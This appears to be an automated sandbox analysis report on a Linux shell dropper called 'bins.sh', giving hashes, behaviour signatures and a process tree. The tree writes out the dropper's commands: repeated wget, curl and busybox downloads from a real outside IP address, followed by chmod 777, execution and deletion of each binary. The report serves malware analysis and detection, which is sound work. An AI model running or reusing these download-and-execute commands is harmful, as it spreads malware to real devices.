Analysis
-
max time kernel
123s -
max time network
157s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
04-11-2024 15:32
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
0e17ad464af64a931d90034b6bf2533d
-
SHA1
fa3ac94af8804b2721185d6d797d2684d71db640
-
SHA256
e6617aa9d237a3501f1dddfee90b1885cb95d30f621921d876fbbe676752a435
-
SHA512
73f7d54af5bc9bb3abb834cce95be1aa9fd44b03f577258be3abdcc942f67a96e217ed21732611f31361bf636448aa74ba30d92584cf6c96149b065c765dd749
-
SSDEEP
192:T4g4EGKoOqSIZNW6CWQvPlBFdCSG4Em+qSIZNJCWQvPVBFdCSI:T4LKjqSIZNW6CWQvPEqSIZNJCWQvPs
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 8 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodchmodchmodchmodchmodchmodpid Process 794 chmod 811 chmod 819 chmod 829 chmod 727 chmod 735 chmod 745 chmod 764 chmod -
Executes dropped EXE 8 IoCs
Processes:
sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaFy0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfyupZsoStPpJGJRuy8vG8zOcwIDag4hB5hIvu9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3FgLVzcHCyXJDpQzJttqY2KthXSbpcygMvTAJieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC1Kxs1Gl7DesJqjMKU1GWNd9EZdaybJy97v5ioc pid Process /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr 728 sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr /tmp/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF 736 0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF /tmp/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy 746 y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy /tmp/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv 766 upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv /tmp/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F 796 u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F /tmp/gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA 812 gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA /tmp/JieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC1 820 JieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC1 /tmp/Kxs1Gl7DesJqjMKU1GWNd9EZdaybJy97v5 830 Kxs1Gl7DesJqjMKU1GWNd9EZdaybJy97v5 -
Processes:
curlcurlcurlcurlcurlcurlcurlcurldescription ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
Writes file to tmp directory 25 IoCs
Malware often drops required files in the /tmp directory.
Processes:
busyboxcurlbusyboxbusyboxbusyboxbusyboxwgetcurlcurlbusyboxcurlwgetwgetbusyboxwgetwgetcurlwgetwgetcurlbusyboxcurlwgetcurlwgetdescription ioc Process File opened for modification /tmp/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF busybox File opened for modification /tmp/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F curl File opened for modification /tmp/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F busybox File opened for modification /tmp/gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA busybox File opened for modification /tmp/JieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC1 busybox File opened for modification /tmp/Kxs1Gl7DesJqjMKU1GWNd9EZdaybJy97v5 busybox File opened for modification /tmp/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF wget File opened for modification /tmp/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF curl File opened for modification /tmp/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy curl File opened for modification /tmp/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy busybox File opened for modification /tmp/gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA curl File opened for modification /tmp/JieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC1 wget File opened for modification /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr wget File opened for modification /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr busybox File opened for modification /tmp/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F wget File opened for modification /tmp/gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA wget File opened for modification /tmp/JieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC1 curl File opened for modification /tmp/Kxs1Gl7DesJqjMKU1GWNd9EZdaybJy97v5 wget File opened for modification /tmp/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy wget File opened for modification /tmp/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv curl File opened for modification /tmp/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv busybox File opened for modification /tmp/Kxs1Gl7DesJqjMKU1GWNd9EZdaybJy97v5 curl File opened for modification /tmp/DSx8boEPgM1O5LUJSHzQVWFCpZgCWhzTAM wget File opened for modification /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr curl File opened for modification /tmp/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv wget
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:697
-
/bin/rm/bin/rm bins.sh2⤵PID:703
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵
- Writes file to tmp directory
PID:705
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:718
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵
- Writes file to tmp directory
PID:725
-
-
/bin/chmodchmod 777 sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵
- File and Directory Permissions Modification
PID:727
-
-
/tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr./sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵
- Executes dropped EXE
PID:728
-
-
/bin/rmrm sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵PID:731
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF2⤵
- Writes file to tmp directory
PID:732
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:733
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF2⤵
- Writes file to tmp directory
PID:734
-
-
/bin/chmodchmod 777 0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF2⤵
- File and Directory Permissions Modification
PID:735
-
-
/tmp/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF./0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF2⤵
- Executes dropped EXE
PID:736
-
-
/bin/rmrm 0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF2⤵PID:738
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy2⤵
- Writes file to tmp directory
PID:739
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:743
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy2⤵
- Writes file to tmp directory
PID:744
-
-
/bin/chmodchmod 777 y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy2⤵
- File and Directory Permissions Modification
PID:745
-
-
/tmp/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy./y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy2⤵
- Executes dropped EXE
PID:746
-
-
/bin/rmrm y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy2⤵PID:748
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv2⤵
- Writes file to tmp directory
PID:749
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:750
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv2⤵
- Writes file to tmp directory
PID:761
-
-
/bin/chmodchmod 777 upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv2⤵
- File and Directory Permissions Modification
PID:764
-
-
/tmp/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv./upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv2⤵
- Executes dropped EXE
PID:766
-
-
/bin/rmrm upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv2⤵PID:769
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F2⤵
- Writes file to tmp directory
PID:770
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:779
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F2⤵
- Writes file to tmp directory
PID:790
-
-
/bin/chmodchmod 777 u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F2⤵
- File and Directory Permissions Modification
PID:794
-
-
/tmp/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F./u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F2⤵
- Executes dropped EXE
PID:796
-
-
/bin/rmrm u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F2⤵PID:800
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA2⤵
- Writes file to tmp directory
PID:801
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:808
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA2⤵
- Writes file to tmp directory
PID:810
-
-
/bin/chmodchmod 777 gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA2⤵
- File and Directory Permissions Modification
PID:811
-
-
/tmp/gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA./gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA2⤵
- Executes dropped EXE
PID:812
-
-
/bin/rmrm gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA2⤵PID:814
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/JieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC12⤵
- Writes file to tmp directory
PID:815
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/JieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC12⤵
- Reads runtime system information
- Writes file to tmp directory
PID:816
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/JieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC12⤵
- Writes file to tmp directory
PID:818
-
-
/bin/chmodchmod 777 JieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC12⤵
- File and Directory Permissions Modification
PID:819
-
-
/tmp/JieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC1./JieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC12⤵
- Executes dropped EXE
PID:820
-
-
/bin/rmrm JieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC12⤵PID:822
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/Kxs1Gl7DesJqjMKU1GWNd9EZdaybJy97v52⤵
- Writes file to tmp directory
PID:823
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/Kxs1Gl7DesJqjMKU1GWNd9EZdaybJy97v52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:824
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Kxs1Gl7DesJqjMKU1GWNd9EZdaybJy97v52⤵
- Writes file to tmp directory
PID:825
-
-
/bin/chmodchmod 777 Kxs1Gl7DesJqjMKU1GWNd9EZdaybJy97v52⤵
- File and Directory Permissions Modification
PID:829
-
-
/tmp/Kxs1Gl7DesJqjMKU1GWNd9EZdaybJy97v5./Kxs1Gl7DesJqjMKU1GWNd9EZdaybJy97v52⤵
- Executes dropped EXE
PID:830
-
-
/bin/rmrm Kxs1Gl7DesJqjMKU1GWNd9EZdaybJy97v52⤵PID:833
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/DSx8boEPgM1O5LUJSHzQVWFCpZgCWhzTAM2⤵
- Writes file to tmp directory
PID:834
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
-
Filesize
16KB
MD5a02766cd05a26705931fc11e52bf4557
SHA120b3188ca18cf6c38c8ddbc96689a719a561a120
SHA256f9eec34066c2f74be0f03ced6d17aaeb0cefc8322a2f019ddfee33113e8bb4b5
SHA512ea6c3cd6aaf32a63899261d503bf8512419fd5b865ca02db644758262f34f1df561b8d95fe5030faa62389b771e2a340eda2dec53efa74488a5af2d1206d22a0
-
Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
-
Filesize
177KB
MD5786d75a158fe731feca3880f436082c0
SHA179ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA2565fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
SHA5127984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
-
Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
-
Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
-
Filesize
111KB
MD5ca897a38f23ec23521ce0b1b83f8422d
SHA1b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA256043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
SHA51210d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
-
Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
-
Filesize
119KB
MD51b166b95f9cb4b079ef1b9ec8363ddf3
SHA10d8eb08add467b3b5474f9b25909297fe7c2839c
SHA25694a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
SHA512983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925